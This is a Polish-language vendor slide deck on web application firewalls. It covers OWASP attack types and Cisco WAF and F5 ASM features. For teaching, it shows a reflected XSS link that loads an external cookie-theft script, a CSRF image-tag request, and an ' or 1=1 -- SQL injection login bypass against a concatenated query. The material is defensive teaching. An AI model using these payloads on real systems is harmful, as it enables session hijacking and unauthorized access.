WAF (Web Application Firewall)

Transkrypt

WAF (Web Application Firewall)
WAF (Web Application Firewall)
Mariusz Sawczuk
[email protected]
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań
Ekspansja usług internetowych
• Coraz więcej usług dostępnych jest przez internet:
– Klienci, Partnerzy biznesowi, Pracownicy, itd.
• Coraz więcej urządzeń korzysta z zasobów
internetowych:
– Komórki, PDA, IP phone’y, drukarki itp.
• Istotne kwestie:
– Aplikacje internetowe mogą być potencjalnym
celem ataków
– Nawet usługi korzystające z protokołu SSL
akceptują żądania HTTP bez kontroli
© SOLIDEX
2
Warstwa Aplikacji
Typowa architektura aplikacji internetowej
Kod aplikacji napisany
przez firmę trzecią
Baza danych
(np. MySQL,
PostgreSQL)
Porty 80 i 443
są otwarte
Firewall
© SOLIDEX
Web Serwer
Firewall
Warstwa Sieci
Aplikacyjny Serwer
3
Istota ataku na aplikacje internetowe
Warstwa Aplikacji
Ogromne dziury w aplikacjach
Kod aplikacji napisany
przez firmę trzecią
Baza danych
(np. MySQL,
PostgreSQL)
75% ataków
zdarza się tutaj
Warstwa Sieci
Aplikacyjny Serwer
Web Serwer
Porty 80 i 443
są otwarte
Firewall
Firewall
Niefiltrowane
dane
Tradycyjne zabezpieczenia sieciowe nie są świadome ataków na aplikacje webowe
© SOLIDEX
4
Dlaczego to takie proste?
• Sieć z definicji pracuje w innej warstwie i nie jest świadoma aplikacji
– nie ma magicznych sygnatur na IPSy, reguł na FW, patchy,
dla napisanych na indywidualne potrzeby Klienta PHP skryptów
• Programiści to tylko ludzie:
– popełniają błędy
– mają swoje nawyki
• Internet to relatywnie anonimowe medium
• Narzędzie służące do ataku: przeglądarka
Oprogramowanie
Sieć
© SOLIDEX
?
Dane
5
Dlaczego po prostu nie poprawić
błędów w aplikacjach?
Każde 1000 linii kodu zawiera średnio 15 krytycznych luk bezpieczeństwa
(US Dept of Defense)
• Średnio, aplikacje biznesowe składają się z
150.000-250.000 linii kodu
(Software Magazine)
• Średnio, diagnoza luki bezpieczeństwa w kodzie
zajmuje 75 min, a naprawa 6 godzin
(na podstawie pięcioletnich badań Pentagonu)
• Developerzy skupiają się na rozwoju nowych
funkcjonalności a nie usuwaniu błędów
• Usuwanie luk bezpieczeństwa w aplikacjach jest
kosztowne!
© SOLIDEX
6
PCI-DSS 6.5 i 6.6
• PCI-DSS (Payment Card Industry
Data Security Standard) to standard
opisujący koniecznie zabezpieczenia
przy transakcjach kartami
płatniczymi
• Jego dwie sekcje: 6.5 i 6.6
koncentrują się na bezpieczeństwie
aplikacji internetowych
• Sekcja 6.6 obliguje do
zainstalowania WAF (Web
Application Firewalla) do końca
czerwca 2008, aby chronić swoje
aplikacje przed atakami
OWASP top 10
© SOLIDEX
7
Najważniejsze luki w zabezpieczeniach
aplikacji Web
Lista ataków OWASP - Top 10 (v 2007)
OWASP = Open Web App Security Project
© SOLIDEX
Cross site scripting
(XSS)
Injection Flaws
Malicious file
execution
Insecure direct
object reference
Cross site request
forgery (CSRF)
Information leakage
and improper
error handling
Broken auth.
and session
management
Insecure
cryptographic
storage
Insecure
communication
Failure to restrict
URL access
8
Najważniejsze luki w zabezpieczeniach
aplikacji Web
WHID (Web Hacking Incidents Databse)
http://www.xiom.com/whid
Źródło:
WhiteHat Security
© SOLIDEX
9
Atak #0
Unvalidated input
(protoplasta wszystkich web ataków)
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań
Atak #0 - Unvalidated input
• Przyczyna:
– Webowe aplikacje używają parametrów by pobrać informacje od klientów
– Developerzy skupiają się na poprawnych wartościach parametrów i jak powinny one być
przetworzone
– Zbyt duże zaufanie dla informacji wpisywanych przez klienta w przeglądarce
– Niewiele uwagi poświęca się nieprawidłowym wartościom parametrów
• Efekt:
– Aplikacja postępuje zgodnie ze 'zmienionymi' informacjami, potencjalnie dając dostęp do
kont użytkowników, tajnych danych, itp.
– Protoplasta dwóch najpopularniejszych ataków (XSS i SQL Injection)
– Często maskowany za pomocą technik kodowania - http://ha.ckers.org/xss.html
• Przykład:
– Manipulowanie parametrami: exploit Shopping Cart
– Kilka narzędzi do przeglądarek, zaczynając od pluginów, a kończąc na pełnych proxy):
Paros, Suru, Burp Suite, WebScarab
© SOLIDEX
11
Atak #0 - Unvalidated input
© SOLIDEX
12
Atak #0 - Unvalidated input - kodowanie
• W HTML mamy:
– charsets (zestawy znaków)
– encoding (kodowanie – sposób transformacji znaków na bity)
• Najpopularniejszy jest kod ASCII (128 znaków). Niestety za jego pomocą
nie można przedstawić wszystkich znaków występujących
we wszystkich językach świata
• HTML z tego powodu używa
Unicode’u (1000 znaków)
Z kodowaniem
• Rodzaj kodowania może być
niezdefiniowany, wówczas może
być używane dowolne kodowanie
• Jeżeli zestaw znaków nie jest
zdefiniowany, serwer nie może
określić, które znaki są specjalne
dla niego.
© SOLIDEX
Parametr "charset" określa kodowanie
znaków, tzn. metodę konwersji sekwencji
bajtów na sekwencję znaków.
Bez kodowania
13
Atak #0 - Unvalidated input - kodowanie
• Problem:
– RFC 1738: „Tylko znaki alfanumeryczne [0-9a-zA-Z], znaki specjalne $-_.+!*()
oraz znaki zarezerwowane (np. &) mogą być użyte w adresie URL”
– HTML z drugiej strony umożliwia użycie całej palety znaków z Unicodu
Normalizacja
Polityka
Deszyfracja SSL
Kanonizacja URL powstrzymuje ataki wykorzystujące kodowanie URLi
© SOLIDEX
14
Atak #1
XSS (Cross-Site Scripting)
Wstrzykiwanie
Wstrzykiwanie kodu
kodu PHP,
PHP, JavaScript
JavaScript do
do URLa
URLa
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań
Atak #1: XSS (Cross-Site Scripting)
• Przyczyna:
– User wpisuje dane do aplikacji webowej za pośrednictwem przeglądarki
– Aplikacja webowa nie sprawdza wpisywanych danych i informacji zwracanych na
zapytanie generowane przez użytkownika
– Niesprawdzone dane zawierają skrypt (np. JavaScript), który jest wykonywany w ramach
sesji przeglądarki użytkownika.
• Efekt:
– Celem ataku jest użytkownik, nie aplikacja internetowa!
– Kradzież tożsamości (kradzież sesji HTTP, export cookie)
– Kompromitacja bezpieczeństwa przeglądarki – kontrola przez hackera
– Przejęcie pełnej kontroli nad stacją użytkownika
• Trzy typy ataków XSS:
– Reflected (Non-Persistent)
– Stored (Persistent): Hackerzy instalują kod XSS w bazie danych (via a form for instance). Każda
wizyta na stronie powoduje wykonanie kodu XSS – przykład MySpace.com
– DOM based (Loacal)
© SOLIDEX
16
Atak #1: XSS (Cross-Site Scripting) –
Kradzież tożsamości
Atakujący
http://bock-bock/cgi-bin/power/?q=
<script src=http://www.employees.org/~pag/XSS/
cookie_theft.js></script>
1) Atakujący wysyła
spreparowany link do Ofiary
przez Email lub HTTP
5) Atakujący używa
skradzionych informacji o sesji
by przedstawić się jako Ofiara
4) Skrypt wysyła cookie i
informacje o sesji Ofiary (bez
jej wiedzy) do Atakującego
2) Ofiara wchodzi na właściwą stronę i jednocześnie
wykonywany jest ukryty skrypt
3) Zwracane są dane z procesu autentykacji
Ofiara
© SOLIDEX
Aplikacja internetowa
17
Atak #1: XSS (Cross-Site Scripting) - Przykład
PayPal z szyfrowanym dostępem SSL (2006) i MySpace.com
© SOLIDEX
18
Atak #2
CSRF (Cross-Site Request Forgery)
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań
Atak #2: CSRF (Cross-Site Request Forgery)
• Opis:
– Podczas gdy XSS wykorzystuje zaufanie użytkownika na stronie internetowej,
to CSRF wykorzystuje zaufanie do witryny sieci Web którą posiada użytkownik
przez podrobienie requestu zaufanego użytkownika
– Występuje pod kilkoma nazwami:
Session Riding, XSRF, One-Click Attack, Hostile Linking, Automation Attack
• Przyczyna:
– Ofiara loguje się na stronie banku
– Ofiara w tym samym czasie chatuje i jest zalogowana na blogu
– Atakujący wpisuje komentarz na blogu zapraszając Ofiarę żeby kliknęła na
link. Ofiara nie musi wcale kliknąć na link, wystarczy przecież umieścić obrazek
<imgsrc="http://example.org/buy.php?item=PS3&qty=500>
– Link wykonuje działanie na stronie banku Ofiary
– Tak długo jak Ofiara jest zalogowana, atak może się powieść
© SOLIDEX
20
Atak #2: CSRF (Cross-Site Request Forgery)
• Obrona:
– Nie jest trywialna, nie ma narzędzia typu one-stop-solution
– Kilka rozwiązań po stronie serwera
Wymuszenie autoryzacji tokenami, które nie są automatycznie
akceptowane przez przeglądarkę
Eliminacja zagrożeń XSS z serwerów aplikacyjnych
Używaj analizy obrazkowej (CAPTCHA)
– Z perspektywy WAFa implementacja sprawdzenia nagłówka zniechęci
niektórych hackerów ale nie jest to wystarczające gdy nagłówek może być
podspoofowany
© SOLIDEX
21
Atak #3
SQL Injection
Wstrzykiwanie
Wstrzykiwanie zapytań
zapytań SQL
SQL do
do URLa
URLa
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań
Atak #3: SQL Injection - Przykład
Co się stanie jak w pole formularza
wpiszemy pojedynczy cudzysłów: '
© SOLIDEX
23
Atak #3: SQL Injection - Przykład
© SOLIDEX
24
Atak #3: SQL Injection
• SQL (Structured Query Language) jest standardem umożliwiającym aplikacjom
pobieranie informacji z bazy danych. Za pomocą SQL można:
– wykonywać zapytania do bazy danych
– pobierać dane z bazy (SELECT)
– wstawiać nowe rekordy do bazy (INPUT))
– usuwać rekordy z bazy (DELETE)
– aktualizować rekordy w bazie (UPDATE)
• Typowe zapytanie SQL przy logowaniu:
SELECT * FROM users
WHERE login = ‘jerry'
AND password = '123‘
• Typowy kod w skrypcie, który wykonuje powyższe zapytanie:
var sql = "SELECT * FROM users
WHERE login = '" + form_user + "'
AND password = '" + form_pwd + "'";
© SOLIDEX
25
Atak #3: SQL Injection
• Apostrof – mały niepozorny znak, z ogromnymi możliwościami
• Wpisujemy (wstrzykujemy) poniższy kod do formularza za pomocą apostrofu:
form_user =' or 1=1 ––
form_pwd = cokolwiek
Komentarz SQL
• W efekcie wykonując poniższe zapytanie:
SELECT * FROM users
Zawsze prawda!
WHERE login ='' or 1=1
–– AND password = ‘cokolwiek'
• ... dzięki któremu zalogowaliśmy się do systemu...
• Do ataku można wykorzystywać także znaki ‘) “> ‘”\ itd.
© SOLIDEX
26
Omówienie funkcjonalności rozwiązań
WAF (Web Application Firewall)
na podstawie Cisco WAF
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań
Cisco WAF
• Cisco WAF zbudowany na bazie AXG (ACE XML Gateway) - XML firewalla
• Produkt pojawił się w maju 2008 wraz z softem AXG 6.0
• Wydajność appliance’a Cisco
–
Inspekcja do 9.000 HTTP na sec, 30.000 jednoczesnych sesji i do 1GB ruchu
• Sprzedawany jako licencja (również na moduł ACE do cat6500) i jako appliance:
© SOLIDEX
28
Cisco WAF – Licencjonowanie, ceny
• Są licencje na Gateway i na Managera (zarządzanie Cisco WAF Gateway)
• Jeden Manager może zarządzać kilkoma Cisco WAF Gatewayami
• Można połączyć funkcjonalność Managera i Gatawya na jednym appliance’ie
(również na module ACE). Nie jest to wspierane przez support jeszcze.
FIPS
HW
ACE-XML-K9 (FIPS) +
ACE-XML-FIPS
ACE-WAF-GAT-LICFX
ACE-WAF-MGT-LICFX
© SOLIDEX
ACE-XML-NF-K9 +
ACE-XML-NONFIPS
Non FIPS
HW
Licencje na WAF
(oddzielne na gatway i Managera)
29
Cisco WAF – modele wdrożeniowe
• Cisco WAF to Revers Proxy:
–
–
Sprawdza zapytanie klienta (analizuje pod względem bezpieczeństwa) i jeżeli jest
ok., to przekierowuje do właściwego serwera HTTP.
Zazwyczaj wymagana jest rekonfiguracja DNS i wskazanie klientom jako adresu IP
serwera WWW adresu Cisco WAF
• Cisco WAF nie posiada wbudowanych mechanizmów zapewniających
redundancję. Redundancję można osiągnąć przez:
–
–
Zewnętrzny Load Balancer: Cisco ACE, F5 BIG-IP
SLB (Server Load Balancing): funkcjonalność dostępna na Cisco (routery, switche)
z odpowiednim IOS
• Cisco WAF nie wspiera innego ruchu poza HTTP (HTML, XML). Jeżeli otrzyma
ruch typu: SSH, FTP, itp. odrzuci go. To sprawia że bardzo istotne jest aby
selektywnie przekierować ruch do WAF.
© SOLIDEX
30
Cisco WAF – modele wdrożeniowe
DMZ
Data Center
Load Balancer
(np. ACE, CSS)
Internet
HTML
HTML/XML
ACE Web
Application
Firewall
Chronione aplikacje
WWW
Klienci
ACE WAF
Manager
• Klienci wysyłają żądanie na adres strony WWW, który jest adresem wirtualnym (VIP) na load balancerach (LB)
• LB wybiera odpowiedniego WAFa i przekierowuje do niego zapytanie
• WAF analizuje zapytanie
• Jeżeli jest ok. to przesyła żądanie na adres innej grupy VIP na LB
• LB wybiera właściwy serwer WWW i wysyła do niego żądanie
© SOLIDEX
31
Cisco WAF – terminologia
• Chronione aplikacje nazywane są wirtualnymi aplikacjami webowymi
• Są one grupowane na podstawie dowolnych kryterii (np. aplikacje
produkcyjne, testowe etc.)
• Punkty kontrolne przypisywane są do aplikacji za pomocą profili (pojedyncza
aplikacja może mieć przypisany jeden profil. Jeden profil może być
skojarzony z wieloma aplikacjami)
• Parametry związane z inspekcją treści, będącą składową profilu, nazywane są
regułami i odnoszą się do sygnatur
• Cisco WAF domyślnie normalizuje ruch HTTP (do
UTF-8) nim przystąpi do inspekcji
© SOLIDEX
32
Cisco WAF - Profile
• Cisco WAF to nie tylko sygnatury ataków.
• Dla każdego profilu można kreować politykę w ramach trzech sekcji
Sekcja
Sekcja„aktywnego
„aktywnego
bezpieczeństwa”
bezpieczeństwa”
Zmiana
Zmiana wybranej
wybranej
treści
w
komunikacji
treści w komunikacji
pomiędzy
pomiędzyklientem
klientem
i iserwerem
serwerem
Analiza
Analizaruchu
ruchuza
za
pomocą
sygnatur
pomocą sygnatur
© SOLIDEX
33
Cisco WAF – Header Processing
• Active Security: Header Processing - maskowanie wersji serwera WWW
Odpowiedź
Odpowiedźwysłana
wysłana
wwnagłówku
nagłówkuHTTP
HTTP
© SOLIDEX
34
Cisco WAF – Cookie Security
• Active Security: Cookie Security - podpisywanie i szyfrowanie ciasteczek
odbywa się w HARDWARZE
Cisco WAF
Klient
CP_EN7a989b1f1b9e966e47d629eec63302d
3571d1677b27fe1bebba48df648b2edc=
expires=Mon, 15-Dec-2006 1:03:00 GMT;
path=/; domain=.cisco.com; secure
Po
Pozaszyfrowaniu
zaszyfrowaniu
© SOLIDEX
Web Server
sess1=1800;
expires=Mon, 15-Dec-2006 1:03:00
GMT;
path=/;
domain=.google.com; secure
35
Cisco WAF – Ochrona Overflow, DoS
• Active Security: Data Overflow Defense – ochrona aplikacji przed atakami typu
Buffer Overflow, DoS
© SOLIDEX
36
Cisco WAF - DLP
• Message Rewrite: maskowanie odpowiedzi z serwera jako element DLP
maskowanie numerów kart kredytowych)
(np.
Reguła
Regułaużyta
użytatotonadpisania:
nadpisania:
Operator=rewrite
Operator=rewrite
SigGroup=CreditCardNN
SigGroup=CreditCardNN
© SOLIDEX
37
Cisco WAF - DLP
• Remapowanie komunikatów błędów serwera WWW
• Z 2 na 5 aplikacji webowych w internecie następuje wyciek informacji
Źródło: http://www.whitehatsec.com/home/assets/WPstats032408.pdf
• Często wynikiem pracy aplikacji, nie potrafiącej dać sobie rady np. z
nieprzewidywalnym parametrem jest wyświetlenie danych, które nie
powinny być wyświetlane!
Remapuj
Remapujzz500
500do
do200
200
© SOLIDEX
38
Cisco WAF – Message Inspection
• Message Inspection: Włączenie reguły (sygnatury) anty XSS
poziom
poziominspekcji
inspekcjiXSS
XSS
Co
Cozrobić
zrobićzz wykrytym
wykrytym
XSS
XSS
© SOLIDEX
39
Cisco WAF – HaL
• Większość rozwiązań typu WAF posiada umiejętność dynamicznego uczenia aplikacji, tzw.
site learning. WAF dynamicznie buduje profile zachowań i wykorzystania aplikacji, które
później będzie chronił
• Problemy związane z dynamicznym uczeniem:
–
–
–
Zajmuje czas, średnio 2-3 tygodnie. W tym czasie nie ma ochrony
Po jego wyłączeniu, nie można włączyć go ponownie
Jak odizolować czysty ruch od ataków? Żmudne przeglądanie logów
• Cisco HaL = Cisco Human Assisted Learning
• HaL nie uczy się aplikacji, tylko pokazuje, które sygnatury wzbudziłyby się gdyby były
włączone w trybie blokowania.
• HaL integruje daje plusy dynamicznego uczenia i usuwa konieczność zgadywania.
• W event logu można stworzyć wyjątek (modifier)
Tworzenie
Tworzeniewyjątków
wyjątkówto
to
serce
serceHaLa
HaLa
© SOLIDEX
40
Cisco WAF – We are under attack ☺
Natychmiastowe
Natychmiastowe
powiadomienie
powiadomienieoo
atakach
atakach
© SOLIDEX
41
Cisco WAF – We are under attack ☺
Dowiedzmy się trochę szczegółów na temat ataku
ID
IDsygnatury
sygnaturyktóra
którasię
się
wzbudziła
wzbudziła
© SOLIDEX
Nazwa
Nazwawektora
wektoraataku
ataku
42
Cisco WAF – We are under attack ☺
• Więcej, więcej...szczegółów
Pełna
Pełnaanaliza
analiza
przychodzącego
przychodzącego
żądania
żądania(ataku)
(ataku)
© SOLIDEX
43
F5 WAF – ASM
(Application Security Manager)
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań
F5 WAF - ASM
• F5 jest liderem na rynku Load Balancerów
• Sztandarowy produkt to rodzina urządzeń F5 BIG-IP. Jest to platforma bardzo
dobrze dopracowana platforma, na której można uruchomić:
–
–
–
–
Load balancing
Kompresję
SSL Offloading
WAF
• Firma F5 oferuje dwa rozwiązania typu WAF:
–
–
ASM (Application Security Manager), który zapewnia pełną ochronę typu WAF
PSM (Policy Security Manager) jest okrojoną wersją ASM. Sprawdza zgodność zapytań
z RFC. Realizuje więc jedynie ochronę protokołu, a nie aplikacji).
• ASM daje dwustopniową ochronę
–
–
Pierwszą linię ochrony stanowią sygnatury
Drugą, stanowią zaawansowane metody blokowania wynikające z faktu iż ASM poznał
budowę aplikacji (site learning). Na taj podstawie ma opisane wszystkie wartości
obiektów i wie jakie parametry mogą przyjmować, więc ich zmiana to będzie atakiem.
• ASM zabezpiecza przed wszystkimi atakami OWASP top 10
© SOLIDEX
45
F5 WAF – ASM: modele wdrożeniowe
• W odróżnieniu od Cisco (poza modułem ACE do cat6500) rozwiązanie F5
umożliwia uruchomienie funkcji load balansujących i WAF na jednym
urządzeniu!
• Obsługiwana jest oczywiście redundancja
Web Serwery
BIG-IP z
Firewall
ASM
Internet
Management Access
(przeglądarka)
© SOLIDEX
46
F5 WAF – ASM GUI
© SOLIDEX
47
F5 WAF - ASM
•
Integrated Application Security
•
Live Policy Builder
– Complete with Staging Environment
•
XML Firewall
•
Validated Application Security Policy Templates
– OWA, SharePoint, etc
•
Live Signature Update Service
•
Anti-Evasion Engine, etc…
•
Predefiniowalne Polityki
•
Integrated Application Intelligence
© SOLIDEX
48
WAF - Podsumowanie
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań
Podsumowanie
© SOLIDEX
50
Podsumowanie
• WAF to jedyne urządzenie sieciowe, które w logiczny i czytelny sposób potrafi
poinformować dział sieciowy/bezpieczeństwa o aplikacjach i atakach na nie!
• Rozwiązania typu WAF nie zapewnią totalnego bezpieczeństwa ochranianym
aplikacjom. Problem leży w aplikacjach i tam błędy powinny być usuwane.
• Jednakże, załóżmy, że po audycie
bezpieczeństwa ujawnionych zostaje 100
błędów. Powiedzmy że WAF jest w stanie
zapobiec wykorzystaniu 85 z nich. Zyskujesz
czas i możesz skupić się na usunięciu
pozostałych 15.
• Rozwiązania typu WAF są świetnym
narzędziem typu Virtual Patchtool dla
aplikacji.
© SOLIDEX
51
Dziękuję
Mariusz Sawczuk
[email protected]
niezawodna komunikacja
poufność danych
bezpieczeństwo infrastruktury
mobilność rozwiązań

Podobne dokumenty

Integrator Review Wydanie Jubileuszowe

Integrator Review Wydanie Jubileuszowe Domain, Banyan VINES, SNA, LAT – do wyboru do koloru. Tyle, że wcale kolorowo nie było. Ta swoista „wieża Babel” protokołów komunikacyjnych wprawiała w zakłopotanie nie tylko użytkowników ale równi...

Bardziej szczegółowo